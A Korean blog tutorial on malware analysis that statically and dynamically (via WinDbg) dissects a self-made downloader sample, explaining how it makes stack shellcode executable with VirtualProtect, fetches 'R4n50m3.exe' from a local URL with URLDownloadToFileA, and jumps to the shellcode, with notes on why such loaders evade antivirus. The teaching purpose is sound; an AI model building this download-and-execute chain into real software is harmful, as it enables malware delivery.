Try Attack/Malware Analysis[basic]

[악성코드 분석] 드롭퍼/다운로더(1)

D4tai1 2019. 11. 13.

요즘 영화나 드라마 볼 시간은 없지만..

가끔..

아주 가아끔..

영화나 드라마를 볼 때

자신은 뒤에 숨고 다른사람을 이용해서

지저분한 짓(비리, 불법행위 등) 하는 사람을 본 적이 있나요?

또한 왜 자신이 직접 지저분한 짓을 하지 않고

돈주고 시킬까요?

아마도 지저분한 짓을 하는 과정에서

문제가 생기더라도 자신은 걸리지 않도록 하기 위해서가

아닐까요?

 

프로그램 내에서도 이러한

지저분한 짓을 하는 프로그램이 있답니다.

그 프로그램은 드롭퍼랑 다운로더 두 가지가 있습니다.

 

드롭퍼는 악성코드를 자신의 몸에서 꺼내서 생성하고 실행시키는 프로그램입니다.

다운로더는 악성코드를 외부에서 다운로드 후 실행시키는 프로그램입니다.

 

왜 드롭퍼와 다운로더가 악성코드를 따로 만드는지 궁금한가요?

똑같습니다.

 

악성코드를 자신이 생성하거나 다운받고 실행시켰지만

정작 악의적인 행위를 하지 않기 때문

쉽게 걸리지 않지요.

 

악성코드는 백신이 차단하지만

드롭퍼와 다운로더 자체는 악성행위를 하지 않기 때문에 

백신에 탐지가 잘 되지 않지요.

 

즉, 자신은 악성행위를 하지 않지만

악성프로그램을 설치하고 실행시켜주는 역활을 하지요.

또한 서버가 열려있다면 악성코드를 설치하지만,

서버가 닫혀있다면 아무런 행위를 하지 않지요.

 

그럼 이제부터

다운로더에 대한 분석을 시작하겠습니다.

 

 

[다운로더 C소스]

 

[그림1] dropper의 바이너리

추가로 윗 쪽에 shellcode를 삽입하는 부분이 있습니다.

 

정적분석을 하려고 합니다.

가장 먼저 보이는 것이 VirtualProtect()함수네요.

1) VirtualProtect()

[그림2] VirtualProtect의 원형

VirtualProtect는 특정영역의 접근권한을 변경하는 함수입니다.

VirtualProtect(변경할 영역의 시작주소, 변경할 영역의 크기, 변경할 설정 값, 기존 접근권한을 저장할 주소);

와 같이 사용됩니다.

VirtualProtect(Shellcode의 시작주소, shellcode의 크기, 읽기|쓰기|실행, Shellcode의 시작주소);

여기서 하는 일은 shellcode를 스택에 저장하고

추후 shellcode를 실행하기 위해 스택에 실행권한을 부여하는 거겠죠?

 

2) GetTempPath()

[그림3] GetTempPathA의 원형

GetTempPathA는 사용할 수 있는 권한이 있는 tmp디렉터리의 경로를 얻어오는 함수입니다.

GetTempPathA(얻어올 버퍼의 최대크기, 얻어올 경로의 주소);

여기서 하는 일은 tmp 디렉터리의 경로를 얻어오는 거겠죠?

 

3) strcat()

strcat(원본 문자열주소, 붙여넣을 문자열주소)은

두 문자열을 더해서 원본 문자열 주소에 저장합니다.

tmp의 경로와 R4n50m3.exe를 붙였습니다.

 

4) URLDownloadToFile()

[그림4] URLDownloadToFile의 원형

URLDownloadToFile는 특정 URL에 접속해서 파일을 다운로드 받는 함수입니다.

URLDownloadToFile(ActiveX가 아니면 NULL, 다운받을 URL주소, 저장할 파일명 주소, 0, 상태저장할 포인터);

http://127.0.0.1:8080/board/R4n50m3.exe 에서

파일을 다운받아서 tmp경로에 R4n50m3.exe라고 저장합니다.

 

5) Sleep()

Sleep(1500);

1.5초동안 대기하는데 이유는

다운로드 받는데도 시간이 걸리기 때문입니다.

기다려줍시다.

 

6) ShellCode로 jmp

shellcode의 시작주소로 jmp합니다.

 

 


 

위에서 정적분석으로 한 번 훑었지만

지금부터는 Windbg를 이용해서

동적분석을 진행하겠습니다.

 

UI도 친화적이지 않고,

불편한데 구지 Windbg를 사용하는 이유는?

MS에서 만들었고 여기서는 아니지만

윈도우 커널분석(커널디버깅)할 때는 Windbg만 가능합니다.

또한 스크립트를 짜서 돌릴 때도 다른디버거보다 유연하지요.

 

제가 지금 Windbg를 사용하는 이유는

[그림5] PEB 구조체 원형

이와 같이 운영체제에서 사용하기 위해 예약된 Reserved라고 나오는 부분...

윈도우즈에서는 모두 공개하지는 않습니다.

그러나 Windbg에서는 저 부분을 확인이 가능하다는 장점이 있습니다.

 

[그림6] dropper 실행

[bp $exentry] : EntryPoint에 브레이크포인트를 걸고

[bl] : 브레이크포인트 리스트를 확인 후

[g] : go합니다.

0x4010a0에서 멈췄으며

[u eip] : 앞으로 실행할 명령어를 확인합니다.

어차피 shellcode를 삽입하는 부분이니

[pc] : 다음 call함수가 실행되기 전까지 이동합니다.

[그림7] VirtualProtect 함수 실행 전까지 이동

 

그 전에 약간만 옆길로 새서

이 주소가 VirtualProtect함수인지 어떻게 찾는지 알아볼까요?

저는 PEview라는 프로그램을 이용해서 확인을 하였습니다.

[그림8] IMAGE_DOS_HEADER

IMAGE_DOS_HEADER의 0x3C를 보면

IMAGE_NT_HEADERS의 offset이 0xB8인 것을 확인할 수 있습니다.

 

IMAGE_NT_HEADERS가 0xB8번째에서

PE라는 시그니처로 시작하고 있습니다.

 

IMAGE_NT_HEADERS에서 0x18바이트 떨어진 곳

IMAGE_OPTIONAL_HEADER가 존재합니다.

 

[그림10] IMAGE_OPTIONAL_HEADER

IMAGE_OPTIONAL_HEADER에서

IMPORT Address Table의 offset을 확인할 수 있습니다.

 

[그림11] IMPORT Directory Table

IMPORT Directory Table에서도

IAT의 offset이 0x2000인 것을 확인할 수 있네요.

 

IMPORT Address Table의 기준주소인 0x2000에서 8만큼 떨어진 곳에 

VirtualProtect가 있네요.

 

[그림13] Image Base

이 바이너리의 기준주소는 0x400000이랍니다.

그럼 VirtualProtect는 

0x400000 + 0x2000 + 0x8 = 0x402008이 되겠네요.

 

다시 방향성을 찾아서 

 

[그림14] 함수 호출 전 인자 확인

VirtualProtect(0x14fea0, 0xcd, 0x40, 0x14fe9c);

와 같이 구성이 되는데

 

[그림15] VirtualProtect 호출 전

첫 번째 파라미터는 shellcode의 시작주소

두 번째 파라미터는 shellcode의 크기 / 즉, 0xcd

세 번째 파라미터는 0x40(read / write / Execute)

네 번째 파라미터는 이전 상태를 저장할 주소

 

[그림16] 스택영역의 권한 확인

[!vprot 14fea0] : VirtualProtect()의 첫 번째 인자인 변경할 영역주소를 넣고 확인했습니다.

VirtualProtect() 실행 전은 READWRITE지만 

[p] : step over와 동일하며 VirtualProtect() 실행하였습니다.

[!vprot 14fea0] : VirtualProtect()를 실행하고 보니 EXECUTE_READWRITE로 변경되었습니다.

즉, 스택 내 shellcode의 시작주소부터 0xcd까지는 실행권한이 생겼습니다.

실제로는 PAGE단위로 권한이 설정되기 때문에 0xcd 이상으로 실행권한이 부여됩니다.

더 깊게 들어가면 운영체제적인 지식이기 때문에 이 부분은 여기까지..

 

[그림17] 다음 call 전까지 이동

[pc] : 다음 함수를 call하기 바로 전까지 왔습니다.

 

[그림18] IMPORT Address Table

IMPORT Address Table에서 GetTempPathA()의 

offset이 0xc인 것을 확인하였습니다.

0x400000(ImageBase) + 0x2000(IAT) + 0x8 = 0x402008

GetTempPathA()의 주소가 되겠네요.

 

[그림17]에서 

[dc esp] : 스택의 top포인터부터 보여주는 것을 보니 

GetTempPathA(0x104, 0x14fd94);

와 같이 실행되겠네요.

첫 번째 파라미터는 얻어올 tmp경로의 최대크기,

두 번째 파라미터는 tmp경로를 얻어올 주소

 

[그림19] GetTempPathA 실행 후

[da 40201c] : 40201c를 push하므로 ascii로 확인하였습니다.

[da ebp-1dc] : ebp-1dc를 push하므로 ascii로 확인했으나 

주소가 0x14fd94인 것을 확인했습니다.

이 주소는 GetTempPathA의 두 번째인자로 tmp의

경로를 받아온 주소인거 기억나시죠?

 

이 두 문자열을 붙인답니다.

strcat("C:\Users\malware\AppData\Local\Temp\", "R4n50m3.exe");

 

[그림20] strcat() 실행 이후 명령어

0x40155a로 이동하지만

0x40155a를 가보니 0x402014로 jmp하고 있습니다.

 

[그림21] 0x402014의 함수 확인

 0x402014는 URLDownloadToFileA네요.

 

[그림22] URLDownloadToFileA의 인자

URLDownloadToFileA(NULL. 0x402028, 0x14fd94, NULL, NULL);

과 같이 구성되어 있네요.

0x402028의 "http://127.0.0.1:8080/board/R4n50m3.exe" 을 다운로드 후

tmp경로에 R4n50m3.exe라고 저장하고 있습니다.

이 함수는 이런 곳에 쓰라고 만들어진게 아닐텐데 말이죠.. 하하 

 

[그림23] 다운로드 된 R4n50m3.exe의 모습

단, 이 과정을 진행할 때 

서버에서 웹 서비스를 하고 있어야 합니다.

현재 127.0.0.1인 로컬에서 서비스를 하고 있습니다.

 

[그림24] URLDownloadToFileA() 실행 이후 명령어

Sleep(1500);

jmp shellcode를 하고 있네요.

[ebp-0xd0]가 shellcode 주소인지 어떻게 아냐고요?

처음에 VirtualProtect()함수의 인자로 실행권한을 줄 시작주소를 넣었던

기억을 살려봅시다.

 

이제 shellcode는 어떤 나쁜 짓을 하는지 알아볼까요?

글이 생각보다 길어져서..

shellcode에 대한 분석은

다음 페이지에서 진행하겠습니다.

 

 

[악성코드 분석]드롭퍼/다운로더(2)

위 페이지에서 분석을 완료했지만 프로그램 시작부분에서 계속 삽입했던 shellcode부분에 대한 내용은 다루지 않아서 이 페이지에서 적어볼까 합니다. (사실 shellcode 부분을 이제서야 다루는 이유

ccurity.tistory.com

 

댓글